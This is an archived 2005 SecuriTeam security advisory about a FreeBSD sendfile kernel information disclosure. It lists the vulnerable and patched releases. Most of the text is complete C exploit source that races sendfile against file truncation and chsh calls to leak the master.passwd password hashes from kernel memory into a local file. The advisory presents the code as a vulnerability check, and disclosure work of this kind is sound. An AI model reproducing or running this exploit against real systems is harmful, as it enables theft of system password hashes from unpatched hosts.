

[EXPL] FreeBSD sendfile Kernel Information Disclosure (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0036.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/10/05

To: list@securiteam.com

Date: 10 Nov 2005 14:30:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FreeBSD sendfile Kernel Information Disclosure (Exploit)

SUMMARY

The FreeBSD sendfile system call allows a server application (such as an HTTP or FTP server) to transmit the contents of a file over a network connection without first copying it to application memory.

The FreeBSD kernel does not clean memory parts before being used with sendfile, allowing users to retrieve random information about the system, the following exploit code can be used to determine whether your system is vulnerable or not.

DETAILS

Vulnerable Systems:

- * FreeBSD 4 series
- * FreeBSD 5 series prior to 5.4-RELEASE

Immune Systems:

- * FreeBSD RELENG_5, 5.4-STABLE
- * FreeBSD RELENG_5_4, 5.4-RELEASE
- * FreeBSD RELENG_5_3, 5.3-RELEASE-p7

Securiteam: [EXPL] FreeBSD sendfile Kernel Information Disclosure (Exploit)

- * FreeBSD RELENG_4, 4.11–STABLE
- * FreeBSD RELENG_4_11, 4.11–RELEASE–p2
- * FreeBSD RELENG_4_10, 4.10–RELEASE–p7
- * FreeBSD RELENG_4_8, 4.8–RELEASE–p29

Exploit:

```
/*  
** FreeBSD master.passwd disclosure exploit  
** by kcope in 2005, kingcope[at]gmx.net  
** thanks to revoguard  
** just compile and execute .. look into the kmem file  
** it contains the master.passwd  
** tested on unpatched FreeBSD 4.11–RELEASE  
** advisory:  
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:02.sendfile.asc  
** +++KEEP PRIV8+++  
*/
```

```
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/uio.h>  
#include <sys/stat.h>  
#include <stdio.h>  
#include <fcntl.h>  
#include <netinet/in.h>
```

```
#define BUF_SIZ 4096
```

```
void dolisten() {  
    int s,c;  
    struct sockaddr_in addr;  
    struct sockaddr_in cli;  
    socklen_t cli_size;  
    char buf[BUF_SIZ];  
    FILE *f=fopen("kmem", "w");  
  
    addr.sin_addr.s_addr = INADDR_ANY;  
    addr.sin_port = htons(31337);  
    addr.sin_family = AF_INET;  
  
    s = socket(PF_INET, SOCK_STREAM, 0);  
    if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)  
    {  
        perror("bind() failed");  
        exit(1);  
    }  
  
    listen(s, 3);  
  
    c = accept(s, (struct sockaddr*) &cli, &cli_size);
```

Securiteam: [EXPL] FreeBSD sendfile Kernel Information Disclosure (Exploit)

```
while (recv(c, buf, sizeof(buf) - 1, 0) > 0) {
    fwrite(buf, sizeof(buf), 1, f);
}

}

int main() {
    int input_fd, fd, s, k;
    struct stat file_info;
    off_t offset = 0;
    FILE *f;
    int i=0;
    struct sockaddr_in addr;
    char st[]="A";

    f=fopen("sendfile1", "w");
    for (i=0; i!=64000000; i++) {
        fwrite(st, 1, 1, f);
    }
    fclose(f);

    input_fd = open ("sendfile1", O_RDWR);
    fstat (input_fd, &file_info);

    if (fork() != 0) {
        sleep(2);
        s = socket(PF_INET, SOCK_STREAM, 0);

        addr.sin_addr.s_addr = INADDR_ANY;
        addr.sin_port = htons(31337);
        addr.sin_family = AF_INET;

        if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) ==
-1)
        {
            perror("connect() failed");
            return 2;
        }

        if (fork() != 0) {
            if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0)
== -1) {
                perror("sendfile()");
                return -1;
            }
        } else {
            f=fopen("sendfile1", "w");
            fclose(f);
            for (k=0; k!=10; k++)
                system("/usr/bin/chsh -s /bin/sh");
            wait();
        }
    }
}
```

Securiteam: [EXPL] FreeBSD sendfile Kernel Information Disclosure (Exploit)

```
    }  
    } else {  
        dolisten();  
        wait();  
    }  
    return 0;  
}
```

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:kingcope@gmx.net> kcope.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.